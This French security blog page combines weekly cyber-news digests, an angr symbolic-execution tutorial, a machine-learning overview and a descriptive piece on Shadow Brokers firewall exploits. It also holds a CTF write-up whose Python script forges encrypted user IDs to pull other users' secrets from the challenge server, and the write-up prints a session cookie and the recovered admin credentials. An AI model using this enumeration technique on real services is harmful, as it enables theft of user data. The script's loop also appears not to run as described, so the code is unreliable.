SecurityInsider
Le blog des experts sécurité Wavestone

CERT-W : retour sur l'actualité de la semaine du 31 octobre à 4 novembre 2016


Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !
Retrouvez également le focus de la semaine, l'exécution symbolique avec angr.


[Brève] Airbus Defense & Space propose une analyse de l’organisation du groupe d’attaquant « Equation » basée sur le premier lot de ressources divulguées par le collectif « The Shadow Brokers »
Sources :

[Brève] Le collectif « The Shadow Brokers » revient sur le devant de la scène en publiant une liste de serveurs attaqués par le groupe « Equation » et ayant servi de relai
Sources :

[Brève] Le framework WMI est de plus en utilisé par les malwares comme technique de détection et d’évasion de l’environnement d’exécution
Sources :

[Brève] FireEye détaille le mode opératoire d’un groupe cybercriminel brésilien spécialisé dans la fraude de carte bancaire
Sources :

[Brève] Google publie les détails d’une vulnérabilité impactant Windows sept jours après l’avoir communiqué à Microsoft et pour laquelle aucun patch n’a été produit
Sources :

[Brève] Google retire les Autorités de Certification WoSign et StartCom du magasin de certificat de Chrome suite à la signature de faux certificats liés à Github
Sources :

[Brève] 140 millions d’entrées de base de données ont fuité en octobre 2016
Sources :

[Brève] NetSPI synthétise dans une infographie les vecteurs d’attaques couramment mis en œuvre en Red team et les méthodes de défense possibles par la Blue team
Sources :

[Brève] L’équipe Cisco Talos développe un outil de protection du MBR afin de lutter contre les ransomware ciblant cette zone
Sources :

[Brève] La société Vectra dévoile le mode opératoire de la campagne d’attaque ciblée « Moonlight » visant le moyen orient
Sources :

[Brève] Le CERT-FR émet plusieurs recommandations sur l’authentification et les politiques de gestion des mots de passe
Sources :

[Brève] Une nation entière paralysée suite à une attaque massive DDoS basée sur Mirai
Une vaste attaque DDoS s’appuyant sur le malware Mirai a été lancée sur le territoire de Liberia. Elle avait pour cible les fournisseurs d’accès et a donc perturbé pendant plusieurs heures la plupart des appareils connectés à internet. Les hackers auraient en effet concentré leur attaque sur les entreprises gérant le câble sous-marin reliant le Liberia au reste du réseau
Sources :

[Brève] La banque britannique Tesco contrainte de suspendre l’activité de son site de banque en ligne après la découverte de transactions illicites durant le week-end sur 40 000 comptes
Sources :

[Brève] La recherche de failles de sécurité dans les objets connectés légalement autorisée aux États-Unis suite à la modification du DMCA
Sources :

[Brève] Kaspersky publie son rapport sur les attaques DDoS ayant eu lieu au troisième trimestre 2016
Sources :

[Brève] Sécurité des contrôleurs de domaine Windows : éléments de base
Sources :

[Brève] L’OWASP publie une nouvelle version du Mobile Application Security Verification Standard
Sources :




Thomas DEBIZE & Binetou LO

L’exécution symbolique avec le framework angr

1. L’analyse de binaire, une problématique courante lors de tests d’intrusion et de réponse à incident
Lors de l’analyse statique d’un binaire exécutable, une des premières étapes est généralement la reconstruction du graphe de flot de contrôle (ou CFG pour control flow graph). Cette structure représente le code exécuté sous la forme d’un graphe dont les nœuds représentent les blocs d’instructions exécutées et dont les liens symbolisent les branchements possibles.

Dans le cadre d’une analyse de malware, il est parfois possible d’identifier certains blocs de code comme étant malveillants, par la présence d’appel à des fonctions rarement présentes dans des exécutables légitimes par exemple. Cependant, si le travail de l’analyste est de découvrir quelles sont les actions qui sont réalisées par un malware, il doit également pouvoir identifier les conditions nécessaires à leur exécution.


Un exemple de graphe de flot de contrôle (CFG)

Dans la figure précédente, on remarque que pour que l’action « executeMalware() » soit exécutée, le chemin d’exécution doit successivement valider les conditions « getWindowsVersion() > 6 » et « getDayOfTheWeek() == 3 ».
Cependant, lors de l’analyse d’un binaire, la taille du CFG est généralement plus conséquente et les instructions analysées sont écrites dans un langage très bas-niveau, rendant ainsi les conditions beaucoup plus compliquées à interpréter.


2. Concepts et principes de l’exécution symbolique 
Afin de pouvoir simplifier une telle analyse, et d’être capable d’évaluer de manière automatisée les exécutions possibles d’un binaire, il existe une méthode formelle appelée l’exécution symbolique.
Contrairement à l’exécution classique (ou concrète) d’un programme, où chaque registre du processeur et chaque case mémoire contient une valeur déterminée à chaque instant, l’exécution symbolique consiste à exécuter un programme de manière « abstraite », en remplaçant les valeurs inconnues par des « symboles ».
Considérons par exemple le pseudocode suivant, et le graphe de flot de contrôle associé :
Un programme et son CFG associé

Si la fonction input() symbolise une entrée de l’utilisateur, celle-ci n’a donc pas une valeur connue avant l’exécution du programme. Lors d’une exécution symbolique, les valeurs renvoyées par cette fonction seront donc remplacées par des « symboles ».
À chaque branchement conditionnel rencontré, l’algorithme d’exécution symbolique emprunte les deux chemins possibles, et enregistre les contraintes correspondant à chacune des conditions. Le graphe suivant représente le résultat d’une exécution symbolique du programme précédent, définissant les symboles x0 et y0 comme les valeurs initiales de x et y. Les expressions entre accolades représentent les contraintes correspondant à chaque chemin.
Résultat d’une exécution symbolique du programme précédent

Une fois l’exécution symbolique réalisée, il est possible de déterminer que la condition nécessaire pour atteindre le nœud « win() » est {x==x0, y==y0, x0-y0==100, y0==2*x0}. Cet ensemble de contraintes peut être simplifiée automatiquement en {x==x0, y==y0, x0== -100, y0== -200}.
Grâce à l’exécution symbolique, il a donc été possible de déterminer de manière automatisée les conditions permettant d’atteindre un certain état du programme.

3. Le framework angr
Le framework Python angr (http://angr.io) permet d’appliquer facilement les concepts de l’exécution symbolique à un binaire exécutable. Afin d’illustrer son utilisation, nous allons résoudre un challenge de la Nuit du Hack 2016  : un crackme nommé « lol_so_obfuscated ».


Exécution du binaire

Il s’agit programme qui accepte en argument une chaine de caractère, et affiche une série de nombres suivi d’un message, « You’re wrong » dans l’exemple.
Une rapide analyse du CFG de la fonction main du binaire indique que :
  1.  Une fonction nommée « encrypt » est appelée, avec comme paramètres une chaine de caractères inscrite en dur dans le binaire et l’argument fourni par l’utilisateur ;
  2.  Le résultat de cette fonction est comparé avec une autre chaine de caractères inscrite en dur dans la pile d’exécution
  3.  Si les chaines correspondent, le programme affiche « You’re right » 
  4.  Sinon, le programme affiche « You’re wrong ».



Extrait du CFG de la fonction main, avec l’outil radare2

Le but du challenge est donc de trouver une entrée utilisateur qui permette au programme d’exécuter le code situé à l’adresse « 0x400745 » (3), c’est-à-dire qui fasse afficher le message « You’re right ».
L’exécution symbolique est parfaitement adaptée pour répondre à ce type de problématique. Notamment, le framework angr permet de résoudre relativement simplement ce challenge en exécutant le code suivant (toutes les étapes ont été commentées) :

L’exécution du code permet de calculer la solution du challenge sans aucune interaction supplémentaire :


On remarquera que seules les adresses des blocs « You’re right » et « You’re wrong » challenge (en rouge dans le code), obtenues par simple observation du CFG du programme, ont été nécessaires afin de résoudre le challenge. Aucune étape de reverse-engineering n’a été effectuée ; notamment les opérations réalisées par la fonction encrypt n’ont fait l’objet d’aucune étude.

4. En conclusion
L’exécution symbolique est un outil puissant pouvant grandement simplifier l’analyse de code. Outre la recherche de conditions permettant d’atteindre un certain état, il permet également de pouvoir détecter certains types de vulnérabilités comme des dépassements de tampon (« buffer overflow »), ou même de prouver leur absence de manière formelle.

Un des principaux atouts du framework angr est sa facilité de prise en main, celui-ci ayant une API plutôt intuitive (une fois les concepts de base de l’exécution symbolique maitrisée). Il dispose également d’une documentation (https://docs.angr.io/) permettant de s’approprier facilement l’outil, et d’une liste grandissante d’exemples de challenges de CTF résolus avec angr (https://github.com/angr/angr-doc/tree/master/examples).

De nombreux outils permettant l’exécution symbolique existent également, parmi lesquels :
·         Miasm (https://github.com/cea-sec/miasm), un framework très complet de reverse-engineering développé par le CEA, qui permet l’exécution symbolique, mais aussi l’édition de binaire exécutable, l’émulation de code, la traduction dans un langage intermédiaire permettant la simplification du code, l’intégration dans l’outil IDA, etc. Néanmoins, ce framework pèche par l’absence d’une documentation permettant de prendre rapidement l’outil en main :)
·         KLEE (http://klee.github.io), un moteur d’exécution symbolique basé sur LLVM, qui s’utilise donc avant compilation via l’ajout de code dans les fichiers source du programme testé. Ce type d’outil est notamment utile lors des développements d’un logiciel afin de vérifier l’absence de certaines vulnérabilités. 



Maxime MEIGNAN







Write-up challenge Nuit du Hack 2016


Wavestone était présent en tant que sponsor à la Nuit du Hack 2016 et a organisé pour l’occasion un challenge autour d’une application mobile, pour lequel plusieurs lots étaient à remporter :

Le grand gagnant de challenge, Nicolas Devillers consultant sécurité au sein de la société Lexfo, nous propose sa solution détaillée à travers cet article invité sur SecurityInsider

L’épreuve consiste en l’analyse d’un APK disponible via l’adresse :

Après l’avoir téléchargé et décompressé on procède de manière classique: on décompile et on analyse le classes.dex en utilisant jd-gui [1] et dex2jar [2].
$ wget --no-check-certificate https://52.41.208.29/solupass.apk
$ unzip solupass.apk -d solupass
$ ~/tools/android/dex2jar-0.0.9.15/dex2jar.sh solupass/classes.dex


En parallèle on démarre un proxy d’interception HTTP (burp-suite) ainsi que l’émulateur Android.
$ java -jar ~/tools/burp/burp.jar
$ ./emulator -avd nexus -http-proxy 127.0.0.1:8080

On réalise par la suite l’installation de l’APK sur l’émulateur en utilisant ADB.
$ adb install solucom.apk

On démarre enfin l’application. Celle-ci consiste en un gestionnaire de mot de passe. Elle exploite un WebService dont les URLs sont situées sur :


Après avoir créé un utilisateur sur l’application, il est possible d’y sauvegarder ou importer des mots de passe via un WebService.

Les fonctions ainsi que les endpoints permettant d’interroger le WebService sont visibles dans la classe Webservice.class :



On y constate que l’application réalise du “certificate pinning” pauvre en s’appuyant uniquement sur l’attribut “issuer” du certificat:
SoluSSLSocketFactory(localKeyStore, new SoluTrustManager("CN=NDH2K16,OU=Solucom,O=Solucom,L=Paris,ST=IDF,C=FR"));
A ce stade on souhaite réaliser une interception SSL pour voir les requêtes qui sont passées au WebService par l’application ce qui gagnerait du temps de compréhension.

On pourrait alors patcher l’application en baksmali et la régénérer mais comme on est un peu pressé, On génère plutôt un certificat SSL qui match le même issuer avec easy-rsa/openssl.
On modifie le fichier easy-rsa/vars avec les variables suivantes:

KEY_COUNTRY="FR"
KEY_PROVINCE="IDF"
KEY_CITY="Paris"
KEY_ORG="Solucom"
KEY_EMAIL=""
KEY_OU="Solucom"
$./build-ca

Une fois un certificat pkcs12 généré, on le donne à manger à burp-suite.

La fonction d’import nous intéresse en premier lieu. On voit qu’elle transmet un id utilisateur sous forme chiffré, on pense donc rapidement à une élévation de privilège horizontale.
Le paramètre transmis dans la méthode “importSoluPass” provient de paramUser.getCipherId().
En analysant la méthode UserAlgo.chiffre(), on constate que l’id utilisateur est chiffré en AES/CBC avec un IV nul et une clé ayant pour valeur la session en base64 transmise par le serveur lors de la connexion :


En analysant la méthode réalisant le chiffrement des mots de passe transmis au serveur PassAlgo.chiffre() on constate que celle-ci utilise une clé hardcodée dans l’APK et donc la même pour tous les utilisateurs :



On devine qu’il va falloir exploiter ces 2 vulnérabilités afin d’obtenir le flag. Élévation horizontale sur le Web-Service afin d’obtenir le mot de passe chiffré d’un autre utilisateur. Puis, utilisation de la clé hardcodée afin de le déchiffrer.



Lors de la création de nos utilisateurs de test sur le WebService, on constate qu’ils ont pour id utilisateur des nombres supérieur à 500 qui s’incrémentent. Puisqu’on cherche à obtenir le secret d’un utilisateur antérieur, on va donc itérer sur les id utilisateurs en partant de notre id afin d’obtenir celui d’un utilisateur plus récent.

On sort un script python un peu sale auquel on passe notre session afin d’avoir une clé pour chiffrer des ID ainsi que la clé hardcodée dans l’APK permettant de déchiffrer les secrets. On décrémente les ID en partant de 510 jusqu’à 0 en espérant obtenir un mot de passe intéressant :

from Crypto.Cipher import AES
import base64
import os
import requests
import json
BLOCK_SIZE = 16
PADDING = "\xEB"
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
secret = "bMAKTsV0WwyJTBS_"
cipher = AES.new(secret)
secretgeneric = "w34kcryp7015func"
IV= "\x00"*16
for i in xrange(0,510,-1):
    genericcipher = AES.new(secretgeneric, AES.MODE_CBC, IV)
    print "User: " + str(i)
    userid = EncodeAES(cipher, str(i).zfill(16))
    session = requests.Session()
    paramsGet = {"id": userid+"\n"}
    headers = {"Cookie2":"$Version=1","Connection":"close"}
    cookies = {"session":"eyJzZXNzaW9uX2tleSI6eyIgYiI6IldXc3hRbE14VW5wV2FrSllaRE5zUzFaRlNsUllkejA5In0sInVzZXJfaWQiOjUxNX0.CllDpw.nv2UMe07QraOjocQJFb9l1ujmX8"}
    response = session.get("https://52.41.208.29/ws/import", params=paramsGet, headers=headers, cookies=cookies, verify=False)
    fu = json.loads(response.content)
    encrypted =  fu['solupass']
    if encrypted == "n+IRW58OlIaLMno0P79FbA==":
        continue
    print "User " + str(i) + " Decoding: " + encrypted
    print "Store " + repr(genericcipher.decrypt(base64.b64decode(encrypted)))

Le script nous donne finalement ce secret intéressant avec l’utilisateur 250 !
{"admin", "password": "yHBb!jchxupaWz", "description": "web admin cr3dz"}

Malheureusement celui-ci ne permet pas de se connecter sur le WebService avec des fonctions supplémentaires.

En regardant le fichier robots.txt on obtient une grande quantité de répertoire ou entrées. On réalise donc une attaque par dictionnaire sur celui-ci afin de découvrir les URLs existantes en utilisant le fichier robots.txt comme dictionnaire.
$ wget https://52.41.208.29/robots.txt|cut -d':' -f2|tr -d ' ' > dico

On découvre finalement l’url /admin-panel qui nous donne le flag après avoir utilisé les identifiants précédemment obtenus:

{FLAG}[89ce171a94df08c7ee9ff1849aaad4f9]

Il était également possible d’obtenir cette url en déchiffrant le binaire présent sur le flyer du challenge:
001011110110000101100100011011010110100101101110001011010111000001100001011011100110010101101100
Un grand merci à Wavestone pour ce challenge NDH plutôt réaliste et présentant la particularité de ne pas contenir de morse ou de base24 ;)

References


Encore bravo à Nicolas qui a gagné la montre connectée Pebble, aux autres équipes ayant remporté le drone et l’antenne WiFi Alfa, ainsi qu’à tous les autres participants !

Machine Learning & Cybersécurité


Tout le monde entend parler de machine learning, d’intelli­gence artificielle, de big data, d’analytics... Qu’en est-il de ces concepts, et notamment du machine learning appliqués à la cybersécurité ?

MACHINE LEARNING, KESAKO ?

Le « machine learning » pourrait se définir tel que « le concept d’utiliser les données et des algorithmes pour permettre à une machine d’apprendre d’elle-même ».

LA THÉORIE, DES DOMAINES ET DES GRAPHES…

Contrairement à la modélisation statistique qui consiste en la formalisation de règles entre des variables sous la forme d’équa­tions mathématiques, le machine learning désigne le concept d’un algorithme qui peut apprendre à partir des données sans s’appuyer sur des règles préprogrammées. En cela, le machine learning appartient au domaine de l’information et de l’intelli­gence artificielle.


LE MACHINE LEARNING S’APPUIE SUR LES RÉCENTS PROGRÈS TECHNOLOGIQUES

Les 3 principaux piliers du machine learning sont :
  • L’exploration de données (data mining), permise et justi­fiée par la quantité et la diversité des données aujourd’hui produites, potentiellement collectées et disponibles.
  • La reconnaissance de motifs (pattern recognition), per­mettant notamment de tisser des liens entre les données recueillies et de faire ressortir des motifs.
  • L’informatique neuronale (neurocomputing), comme moyen supplémentaire d’analyse, inspiré des réseaux neuronaux biologiques, comme le cerveau.

Ces capacités sont permises par les récents progrès technolo­giques, comme l’illustre le schéma ci-dessous :


Finalement, le machine learning constitue le « cerveau » qui per­met d’extraire du sens depuis l’entrepôt de données.

COMMENT CELA FONCTIONNET-T-IL ?

Donner la capacité à une machine d’apprendre ne va pas de soi ! En voici les concepts clés :


Le processus peut se décomposer en plusieurs phases :
  • Le prétraitement des données, via la normalisation et l’épuration des données, permet de les rendre acces­sibles au traitement.
  • L’apprentissage, qui peut se baser sur plusieurs types d’algorithmes, parmi lesquels :
    • L’apprentissage supervisé crée un modèle en se basant sur des exemples étiquetés obtenus à par­tir d’expériences passées. Il nécessite des données d’entrainement composées de 2 ensembles : premiè­rement des éléments/valeurs d’entrée (également appelés « features »), et secondement, une classe (ou «labels»), exemple : site Web de phishing vs. site sain. Le but du modèle créé est de prédire la classe pour des données où seules les features sont disponibles. Concrètement, pour qu’un programme apprenne à reconnaître une voiture, par exemple, il est « nourri » de dizaines de milliers d’images de voitures, étiquetées comme telles. Une fois entraîné, il peut reconnaître des voitures sur de nouvelles images.
    • L’apprentissage profond ou non-supervisé vise à laisser le soin (et le travail) à la machine (comprendre l’algorithme) de déterminer les classes en mettant en exergue les motifs communs et différences. Cette méthode se distingue de l’apprentissage supervisé par le fait qu’il n’y a pas de sortie a priori. Cette technique se base sur un « réseau de neurones » dans lequel les résultats de la couche de neu­rones vont servir d’entrée au calcul des autres couches. En mars 2016 le programme alphaGo ayant appris à jouer au jeu de go par cette méthode a battu le champion du monde Lee Sedol 4 parties à 1.
  • L’analyse des erreurs constituant une phase de test du modèle.

Ensuite, afin de valoriser les données classifiées, il s’agit de com­biner les classes.
Cette phase est certainement plus délicate. En effet, la corrélation fait intervenir des règles liées aux métiers (à l’utilisation voulue du machine learning), mêlant des règles notamment faites d’expé­riences et d’exceptions.

DE NOMBREUSES APPLICATIONS POSSIBLES POUR UN MARCHÉ EN PLEIN BOOM

L’intelligence artificielle et plus précisément le machine learning a décidément le vent en poupe ! Des applications historiques telles la prévention de la fraude dans le milieu bancaire ou à la prédic­tion des maladies et à l’aide à la décision pour les soins associés (cf. Google DeepMind et London Eye Hospital), il existe de nom­breux débouchés potentiels (dont cet article n’est pas l’objet).
Tiré par les grands et notamment Google, de nombreuses annonces au sujet du machine learning ont été publiées récem­ment, avec par exemple :
  • Google ayant rendu public courant mai ses puces « TPU » (Tensor Processing Unit) spécialement conçues pour être optimisées pour les opérations de réduction (opéra­tion élémentaire du machine learning), utilisable avec sa bibliothèque opensource nommée « TensorFlow ».
  • En juin, la société BrainChip (producteur de puces dé­diées au machine learning) a racheté la société française « Spikenet Technology » offrant des « technologies mul­ti-applicative de reconnaissance de formes en temps réel » avec par exemple des applications dans la surveillance des aéroports.

LE MACHINE LEARNING APPLIQUÉ À LA CYBERSÉCURITÉ

Intéressons-nous maintenant aux applications du machine lear­ning à la cybersécurité et notamment à la détection d’incidents de sécurité.

Des moteurs de détection en pleine évolution

Avant d’évoquer les applications à proprement parler, dressons un rapide récapitulatif des solutions / moteurs de détections actuels, parmi lesquels :
  • Les méthodes historiques (de type « antivirus ») se basant sur des signatures : la solution cherche, notam­ment dans les fichiers, des traces des signatures connues comme faisant partie de malwares.
  • Les solutions plus avancées se basent sur l’émulation (i.e. exécution du malware présumé dans un environnement bac à sable) pour déterminer s’il en résulte un compor­tement malveillant ou non. Cela passe par une combinai­son d’analyse comportementale (ex. il n’est pas « normal » qu’un binaire lise et réécrive un grand nombre de fi­chiers sur les périphériques de stockage, ce qui peut être le signe d’un ransomware) et de recherche d’indicateurs de compromission – IOC (ex. un fichier faisant des HTTP GET vers des URL / IP connus comme étant répertoriés comme un C&C).
  • De nouvelles solutions, d’analyse comportementale à grande échelle ingérant de grandes quantités (plusieurs Gbps) et variétés de données (flux, métadonnées, logs, etc.) à la recherche de déviances pouvant indiquer des actes malveillants.
C’est notamment sur ce dernier type de solutions que le machine learning peut apporter une réelle valeur ajoutée.

Quelques initiatives en matière de Cybersécurité

À noter par exemple l’initiative « AI² » portée conjointement par le MIT et la startup PatternEx, matérialisée par la création d’une plateforme basée sur le machine learning (non supervisé et super­visé) qui permettrait de détecter 85% des menaces (3 fois plus que les précédents essais) en apprenant de plus de 3,6 milliards de lignes de logs.

Parmi les grands éditeurs de solutions de sécurité, RSA (division sécurité d’EMC, en passe d’être racheté par Dell) a annoncé à la RSA conférence (mars 2016) l’intégration à la suite Security Analytics (le SIEM RSA sur la base des logs et des paquets réseaux) d’un moteur d’analyse comportemental temps réel basé sur le machine learning.

Du côté de « Big Blue », l’éditeur fournisseur de la plateforme de SIEM bien connue « Qradar » a annoncé en mai la sortie d’une déclinaison appliquée à la cybersécurité de sa plateforme de machine learning « Watson ».
IBM compte nourrir « Watson for cybersecurity » de son flux de Threat Intelligence « X-force » mais aussi des données moins structurées tels que des messages de SPAM, des malwares ainsi que des rapports de recherche, aidé par le partenariat établi sur ce projet avec 8 universités nord-américaines. L’éditeur prévoit de traiter 15 000 documents par mois.

De taille plus modeste et plus proche de nous, la société DarkTrace, fondée en 2013 et basée en Angleterre, propose une solution de détection, nommée « Enterprise Immune System » qui n’utilise pas d’IOC mais uniquement des algorithmes de machine learning. Une déclinaison au monde des SI industriels est également disponible. L’éditeur indique un temps moyen d’apprentissage (capture des données, contextualisation manuelle, levée d’alerte, tunning de manière itérative, etc.) d’environ 2 semaines.

La solution, outre son moteur de détection différenciant, offre une interface particulièrement visuelle.


Nous avons récemment pu la voir fonctionner (en environnement de démo) et la challenger dans le cadre d’un RFP pour un client du cabinet. La solution semble particulièrement prometteuse. Darktrace a levé 65 millions de dollars début juillet pour continuer son développement.

Ce qui est particulièrement intéressant avec ces solutions est le fait qu’elles ne se concentrent pas seulement sur la détection de l’ « infection initiale » mais aussi et surtout sur la détection des « symptômes » (post infection donc), offrant une visibilité accrue pour détecter les comportements malveillants.

UN MOYEN DE DÉTECTION COMPLÉMENTAIRE PLUTÔT QU’UNE FIN EN SOI

Le machine learning, même s’il n’est pas nouveau, a récemment fait ses preuves et de nombreuses applications (fraude, santé, assurance, etc.) sont envisageables. Cette combinaison rend le machine learning très tendance actuellement et intéressant pour les prochaines années.

Appliqué à la cybersécurité et à la détection d’incidents de sécu­rité, les grands acteurs du domaine (ex. RSA, IBM) enrichissent leur plateforme par des moteurs de détection basés sur du machine learning, et des sociétés « pure player » (ex. Darktrace) voient le jour et commercialisent des solutions dédiées. Cela dit, le marché semble est encore peu mature.

Aussi, très rares sont aujourd’hui les grands comptes ayant déployé une solution de détection d’incidents de sécurité prin­cipalement basée sur le machine learning. En effet, les équipes de sécurité sont souvent dépassées par les alertes des moyens de détection actuels sans qu’il y ait besoin d’en ajouter un. Un réel niveau de maturité SSI semble donc un prérequis avant de s’équiper d’une telle solution.

Dans tous les cas, le machine learning constitue une approche complémentaire car ne visant pas à détecter les mêmes évè­nements : son apport semble bien plus important sur le volet détection de comportements malveillants suite à compromission que sur la détection de la compromission elle-même.

Finalement, le machine learning appliqué à la cybersécurité appa­rait comme un moyen complémentaire et non une fin en soi : du côté des solutions, les capacités de visualisation, d’automatisation et de reporting semblent cruciales, côté humain, la disponibilité et la qualité de l’expertise restent plus que jamais nécessaires.

Bref, un sujet à suivre de près !

Mathieu HARTHEISER & Vincent NGUYEN

CERT-Wavestone : retour sur l'actualité de la semaine du 26 septembre au 2 octobre


Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

[Brève] Les plus grandes attaques DDOS de l’histoire avec un botnet de 1,5 million de caméra
Mardi 20 septembre, KrebsOnSecurity.com, le site web indépendant du journaliste Brian Krebs, a été la cible d’une attaque DDOS d’envergure. 1,5 millions de caméras ont été piratées dans l’optique de créer un vaste réseau de botnets : Jamais Internet n’avait connu une attaque utilisant autant d’équipements connectés. Le trafic reçu lors de l’attaque a dépassé 600 Gbps. Le 29 septembre, c’est au tour de l’hébergeur OVH de se faire attaquer à l’aide des mêmes techniques. Le volume du trafic reçu a cette fois dépassé les 1 Tbps, ce qui en fait l’une des plus importantes attaques DDOS enregistrées dans l'histoire en termes de volume.
Sources :

[Brève] Zerodium propose 1,5 million de dollars pour un jailbreak à distance de l’iOS 10
Spécialisé dans l’achat et la vente d’exploits zero-day, Zerodium propose d’offrir un million et demi de dollars pour le premier à lui délivrer une faille zero-day exploitable dans la dernière version du système mobile d’Apple. Il faut dire que le phénomène de la chasse aux failles de sécurité ou “bugs bounties” prend de plus en plus de l’ampleur. Certains éditeurs comme Apple, Google etc. essaient de se battre mais les sommes proposées restent encore en dessous de ce que propose les entreprises comme Zerodium.
Sources :

[Brève] Princesse Locker : Le Ransomware qui parle plusieurs langues
Le ransomware en lui-même ne possède aucune innovation sur les fonctionnalités de base, cependant il propose un écran de sélection de langage suivi d’une page listant les options de chiffrement et un déchiffrement gratuit d’un fichier. La rançon de base est de 3 bitcoins et peut doubler au fur et à mesure du temps si le paiement n’est pas effectué.
Sources :

[Brève] La fuite massive de données de Yahoo! toucherait plus de 500 millions de comptes
En 2014 Yahoo! était victime d’une importante attaque aboutissant à un vol massif de ses données utilisateurs dont : Les noms, adresses e-mail, numéros de téléphone, dates de naissance, mots de passe hachés (la grande majorité avec bcrypt) et, dans certains cas, les questions et réponses de sécurité chiffrées ou non. Des informations provenant de plus de 500 millions de comptes ont été considérées comme volées par les attaquants.
Source :

[Brève] Plusieurs distributions linux affectées par un bug critique dans systemd
Une simple commande dans un appel de pause du système permettrait de suspendre le processus ayant l’ID 1, le processus de l’espace utilisateur le plus important. Impossible alors de démarrer ou arrêter les daemons ou de redémarrer proprement le système. Un accès root n’est pas nécessaire pour exploiter cette faille dont la criticité fait débat parmi les experts.
Sources :

[Brève] Le code source du botnet IoT “Mirai” révélé
Il y a quelques semaines, une large attaque DDOS avait été menée contre KrebsOnSecurity à travers un réseau de 1,5 millions de botnets constitué d’objets connectés, particulièrement les caméras. L’attaque, qui a beaucoup interpellé le monde de la cybersécurité, montre qu’Internet sera probablement la cible de plusieurs attaques de ce type perpétrées par des caméras IP, des routeurs non sécurisés, ainsi que tout matériel qui peut être facilement compromis. Le code source du malware a été rendu public et a ainsi révélé sa capacité d’exploration d’Internet à la recherche d’appareils IoT protégés avec des mots de passe par défaut ou facilement cassable.
Source :

[Brève] Cisco met en garde sur une faille critique dans ses appareils de sécurisation des emails
La vulnérabilité permettrait à un utilisateur distant non authentifié de prendre le contrôle de façon complète des appareils Cisco servant à la sécurisation des emails, en particulier les OS Cisco IronPort AsyncOS.
Source :

[Brève] Des chercheurs ont conçu deux nouvelles techniques pour désanonymiser les utilisateurs de Tor
Ces techniques, regroupées sous le nom de Defector reposent sur l’analyse du trafic DNS depuis les points de sortie du réseau Tor. Grâce à un tel trafic, il est alors possible de créer une cartographie relativement précise de l’utilisation des sites présents sur le Dark Web.
Sources :


Nicolas DAUBRESSE

7 exploits pour pare-feu publiés par les Shadow Brokers, le 5ème va vous impressionner


Apparu sur les réseaux sociaux le 13 août 2013, un collectif nommé « The Shadow Brokers » a publié un tweet contenant un lien vers une page Pastebin contenant un message écrit dans un anglais plus qu’approximatif :

Equation Group Cyber Weapons Auction - Invitation
- -----------------------------------------------
!!! Attention government sponsors of cyber warfare and those who profit from it !!!!
How much you pay for enemies cyber weapons? Not malware you find in networks. Both sides, RAT + LP, full state sponsor tool set? We find cyber weapons made by creators of stuxnet, duqu, flame. Kaspersky calls Equation Group. We follow Equation Group traffic. We find Equation Group source range. We hack Equation Group. We find many many Equation Group cyber weapons. You see pictures. We give you some Equation Group files free, you see. This is good proof no? You enjoy!!! You break many things. You find many intrusions. You write many words. But not all, we are auction the best files. .

« Equation group », nom auquel ce message fait référence, est l’un des groupes de hackers les plus sophistiqués encore actif aujourd’hui, leur découverte ayant été annoncée en février 2015 par l’éditeur d’antivirus Kaspersky. De nombreux indices, fiables ou non, laissent à penser que ce groupe est fortement lié au service « Tailored Access Operations » de la NSA, en charge de la surveillance et du renseignement autour des systèmes informatiques. Les outils soi-disant dérobés par les Shadow Brokers proviendraient alors peut-être de la NSA, aucune preuve ne permettant pour l’instant d’aboutir à cette conclusion.

En pièce jointe de ce message se trouve une archive contenant 7 documents, parmi lesquels une archive chiffrée avec le mot de passe « theequationgroup ». Une fois décompressée, celle-ci donne accès à un ensemble de scripts, exécutables et outils dont l’usage sera décrit dans le reste de l’article. Les autres archives présentes sont chiffrées et mises aux enchères par les Shadow Brokers pour un montant de B1.000.000, soit environ $500.000.000.

En attendant la complétion de la cagnotte, des chercheurs en sécurité se sont intéressés aux fichiers publiés dans l’archive publique. Ces derniers ciblent en priorité les équipements de type pare-feu, VPN SSL, etc produits par les sociétés Cisco, Fortinet, Juniper Networks, TOPSEC et WatchGuard. Ils sont répartis en plusieurs catégories :
  • Exploits : script permettant d’exploiter une vulnérabilité connue ou une faille 0-day ;
  • Implants : outil post-exploitation déposé en mémoire ou dans le firmware ;
  • Modules : script venant complémenter un exploit ou un implant ;
  • Tools : boîte à outils facilitant l’exploitation des cibles.
Choses surprenante, les noms des outils correspondent aux noms dévoilés dans la fuite du catalogue ANT de la NSA, publié en 2013 dans Der Spiegel. Nous ne rentrerons dans le détail que des outils les plus importants, la liste complète des fichiers étant disponible sur Softpedia.

Exploit – ELIGIBLE* (TOPSEC)

Sous cette dénomination se trouvent quatre exploits dirigés contre les pare-feu TOS (TOPSEC). Cependant, peu de détails sont fournis quant aux vulnérabilités exactes qui sont exploitées. La liste complète de ces exploits est fournie ci-dessous :

ELIGIBLEBACHELOR

  • Vecteur d’attaque : inconnu (probablement dans l’entête XML TOS)
  • Versions affectées : 3.2.100.010, 3.3.001.050, 3.3.002.021 et 3.3.002.030

ELIGIBLEBOMBSHELL

  • Vecteur d’attaque : exécution de code via un cookie HTTP
  • Versions affectées : de 3.2.100.010.1_pbc_17_iv_3 à 3.3.005.066.1

ELIGIBLECANDIDATE

  • Vecteur d’attaque : exécution de code via un cookie HTTP
  • Versions affectées : de 3.3.005.057.1 à 3.3.010.024.1

ELIGIBLECONTESTANT

  • Vecteur d’attaque : exécution de code via un paramètre POST
  • Versions affectées : de 3.3.005.057.1 à 3.3.010.024.1

Le schéma complet des dépendances de ces exploits est le suivant :



Exploit – EGREGIOUSBLUNDER (Fortinet)

EGREGIOUSBLUNDER exploite une vulnérabilité de type « exécution de code à distance » dans les pare-feu Fortigate (Fortinet), via un dépassement de tampon dans les cookies HTTP. Aucun détail supplémentaire n’est pour l’instant fourni sur cet exploit en dehors des points suivants :

  • Les modèles impactés comprennent : 60, 60M, 80C, 200A, 300A, 400A, 500A, 620B, 800, 5000, 1000A, 3600 et 3600A ;
